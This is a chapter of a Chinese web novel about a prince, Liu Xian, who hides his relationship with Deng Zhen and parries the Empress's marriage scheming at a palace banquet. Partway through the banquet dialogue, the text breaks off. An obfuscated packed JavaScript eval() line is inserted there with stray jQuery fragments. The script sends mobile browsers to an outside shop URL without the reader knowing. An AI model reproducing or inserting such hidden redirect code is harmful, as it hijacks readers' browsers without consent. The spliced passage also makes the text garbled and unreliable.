刘分来东海王府的次数多了,是府上熟客,这次听闻东海王病的连贺冬朝会也未参加,才来探望。仆从把他引到会客厅,等候前去通报刘羡的人回来,不料双方恰好碰上。
算上前面两回,邓瑧与刘分是第三次见面,不过前面两回刘分未见过邓瑧真容,所以此时也未认出邓瑧的身份。
刘分暗地里打量邓瑧,见这位女子生的娇憨妩媚,皓月凝肤,见两人这番状态,不用多想,认定她是刘羡宠姬。他以为刘羡病的起不来床,才不去参加贺冬朝会,感情沉浸在温柔乡中不得脱身,一时间刘分自我怀疑,该不会齐王府倒霉的压错了宝吧。刘分惴惴不安,七上八下,如今上了贼船要后悔,也来不及。
邓瑧也有几分尴尬,早知会碰上刘分,她也不会闹着让刘羡背她,是她大意了,以为在刘羡的府上可以为所欲为。
邓瑧拍了拍刘羡的肩膀,示意放自己下来,还想着能挽回挽回。
刘羡反而不为所动,都看到了还能这么着,也不能把刘分的记忆消除,索性破罐子破摔。
三人诡异的沉默了一会儿,还是刘分先道:“这位姑娘是?”
刘分实在好奇邓瑧的身份,王公贵胄们的男子们,谁不是姬妾成群,就连他一个落魄的皇族,身边姬妾也有好几位,还会时不时出去寻花问柳一番,他与刘羡熟稔之后,来过几回,发现刘羡身边除了侍女以外,没有一个亲密的女子,他也曾邀过刘羡去外面寻乐子,刘羡当即黑脸,他还以为刘羡为了天下百姓,要奉献终身,正被刘羡的高风亮节感动之时,冷不丁的在他身边看到一位娇媚女子,着实令人意外。
刘羡还在想如何回答刘分的问题,邓瑧先一步道:“我是刘羡偷偷养在府上的。”
现在撇清关系也来不及,邓瑧回了个模棱两可的答案。
果然刘分一连“我明白”的表情,还道:“羡儿放心,我不会往外说的。”
刘羡无奈,随刘分怎么想。
在外面耽误了一会儿,刘羡继续背着邓瑧去暖阁,刘分既然来了,也一同前去。
三人进了暖阁,暖阁里烧着地龙,暖烘烘,和外面寒冷刺骨形成两个世界。
刘羡把邓瑧放在雕刻如意纹梨花木的小榻上,召来泰和与双鹭:“你们陪着小姐玩会儿。”
泰和与双鹭称:“是。”三人围着榻上的茶几玩起了叶子牌。
刘羡则陪着刘分坐在下手的矮椅上闲聊。
侍女们奉茶奉果。
刘分一面与刘羡随意闲聊,一面留神邓瑧那边,泰和在身份上只是跟在刘羡身边的小黄门,实际上地位却不低,洛都中六百石以下的官员,见到泰和,都会毕恭毕敬的奉承,就连他也不敢小瞧泰和。可今日他看到泰和小心翼翼的伺候一个女子,真是活久见。
刘分这次来也没有什么重要之事,仅仅只是探望刘羡,见刘羡身体好,还有美人在侧,也没有多留,便回去了。
外人走了,邓瑧放松起来,也不玩什么叶子牌了,坐到了刘羡身边,忧虑道:“今日被世子撞见,以后若在别的地方遇见我,知道了我的身份会不会有事?”
“无妨,以齐王府的势力,掀不起风浪。更何况,齐王府一心想着我能承继大统,也不会多事。”刘羡淡淡道。
刘羡在意的是另外一件事,他轻轻捏了捏邓瑧的脸颊,笑道:“你刚对他说,你是我偷偷养在府上的是何意思?”
这会儿换成疑惑不解是邓瑧:“能有什么意思?就字面上的意思,再者我也没说错,我这样无名无分的偷摸摸的住在你府上,可不就是你偷偷养在府上的。”
越说邓瑧深以为自己说的很有道理。
刘羡闻言,沉默半晌才道:“是我委屈你了。”
刘羡的思维转变太快,邓瑧还没有反应过来:“我委屈什么了?”
“委屈你无名无分的私下与我来往。”
邓瑧愣了一下,忽而笑出声,好半天才道:“刘羡你平时挺聪明的一个人,怎么爱在这样的小事上钻牛角尖。我一点儿也不觉得委屈,私下往来有什么不好的?等将来我要是做了你的王妃,不能这样偷偷摸摸的,还少了些乐趣呢。”
说着邓瑧掰着手指数日子:“今日是冬至,再过两个月是正旦,正旦一过,离我出孝期也不远了。”
刘羡见邓瑧娇憨模样,眼底泛着柔光,他要抓紧将瑧儿迎入府上才行。
刘羡急切的盼着邓瑧出孝期,好尽快成婚,结果不但自己着急,还有其他人惦记自己的婚事。
按照惯例,贺冬朝会三日后是皇室家宴,邓瑧风寒全然好了,刘羡也没有再继续装病,入宫参加宴会。
给皇帝、皇后及沈贵人敬酒后,刘羡安静的坐在位置上,眼睛看着中央的歌舞,嘴里吃着佳肴,脑海中想着邓瑧,今日宴席的菜肴十分符合邓瑧的口味,回去的时候可以带一份回去给瑧儿。
刘羡在这里神游太空,坐在上首的皇后七弯八拐的把话题扯到刘羡身上。
皇后道:“陛下,太子已成婚几年,臣妾看羡儿年纪也不小了,也该安排好一门亲事才是。”
话题提到自己身上,刘羡意识回笼,皇后明明知道刘羡想娶的是邓瑧,并且沈贵人还与皇帝提起过,她此时提到刘羡的婚事,又要作妖了。
担忧皇帝将之前承诺忘记了,沈贵人先道:“启禀皇后娘娘,羡儿婚事,陛下自有安排,已选好容貌家世相当的女子,将来时候到了便会册封。”
皇帝经沈贵人提醒,想到她口中“容貌家世相当的女子”是指邓瑧,为祖母守孝是天经地义,是人伦孝道,并无不妥,皇帝承认这门婚事。
皇后假装不知沈贵人言外之意,又道:“不知沈贵人相中了哪位女子,今日在场的都是自家人,说出来,我们也好跟着乐一乐。”
沈贵人不愿说,刘羡与邓瑧婚事未定,若此时说出来,传了出去,邓瑧难免被人诟病。
见沈贵人不肯说,皇后笑道:“沈贵人是东海王生身母亲,如何连儿子的终身大事也不上心,若是有相中的说出来也无妨,没有相中的,还是尽快为东海王择一王妃才是正事。”
永王是皇族旁支,平日里背靠梁氏一族,闻言立即接话道:“皇后说的是,我没记错的话,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940653|213906||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
东海王也有二十好几了,别人家孩子大的快十岁了,你还膝下空空,连个王妃也没有,延绵子嗣才是正经事。”
刘羡不紧不慢道:“永王今年三十有五吧,不少人这时候都黄土一捧,皇叔不是还好好的在这里。”
永王反应过来,气的头冒青烟,双目瞪圆的盯着刘羡。
陈老王爷训斥道:“无礼,永王是你的叔叔辈,你应当尊敬才是,身为晚辈如何说出这样的话来,再者永王也是为了你好,你更不应当恶语相向。”
陈老王爷是皇帝的叔叔,喜欢倚老卖老,平日里就喜欢教导小辈。
刘羡道:“皇叔爷,我在东海郡时,那里有许多百岁的老人,我问他们长寿的秘诀是什么,皇叔爷可知道他们说秘诀是何?”
“是何?”陈老王爷今年六十五岁,最是喜欢研究长寿的秘诀,因此迫不及待的问。
刘羡缓缓道:“他们说:‘之所以活的长寿是因为平日里不问世事,不管闲事,整日开心,自然就长寿了。’”
陈老王爷气的胡子都翘起来了,这是在说他多管闲事,小心命不长。
他待还要说些什么,陈老王妃夹了菜在陈老王爷的碟中,道:“王爷,说了半日话,用些饭食吧。妾身瞧着东海王说的并无道理,他自有自己的造化,你别瞎管。”
皇帝平日被这些皇亲烦的不行,见刘羡伶牙俐齿,不但不出言阻止,还在一旁看热闹。
刘羡油盐不进,皇后怒火滔天,脸上还是温柔端庄的与皇帝道:“陛下,只有那穷人家的儿郎娶不上妻的才不成婚,东海王是皇子,不成婚不是让民间笑话我们吗?若是不着急娶妻,先娶两个侧妃放着,也像样。”
皇帝以为皇后说的不无道理,这样一来,也不耽误沈贵人想将邓瑧嫁给刘羡,便道:“皇后可有合适的人选。”
皇后道:“合适不合适臣妾也说不好,只是臣妾娘家有两个女儿正是适婚年龄,长相不俗,可以让他们小辈相处看看。”
刘羡立刻反驳:“儿臣正妃未娶,先选定侧妃,也不符合规制。若梁氏的女子,着急成婚,儿臣身边还有不少适龄男子,也是可以相看一番。”
这话说的像是他们梁氏女儿嫁不出去似得,非要嫁给刘羡,皇后脸色铁青,目光不善的盯着刘羡。
刘羡毫无畏惧,他与梁氏已是不死不休的状态,多得罪一次,少得罪一次,也影响不了什么。
刘羡道:“皇后娘娘,微臣的婚事,微臣母妃自会操劳,便不劳皇后娘娘费心。依微臣看,皇后娘娘还是多操心操心太子,太子早已成婚,膝下无所出,太子是国之储君,才更令人忧心。”
刘羡座位上首快成一个隐形人的太子被刘羡提到,仍旧没有什么发应,太子不想参与到他们之间的刀光剑影之中。
太子还未生下孩子,是皇后的心病,被刘羡当众提起,脸色巨变,顿生危机。
“皇后,菜快冷了,先吃吧。”皇帝的心思在中央的舞姬身上,他又看上了一个美貌的女子,不想再听皇后多言。
皇后无奈闭嘴,被刘羡踩中痛脚,心中焦急万分。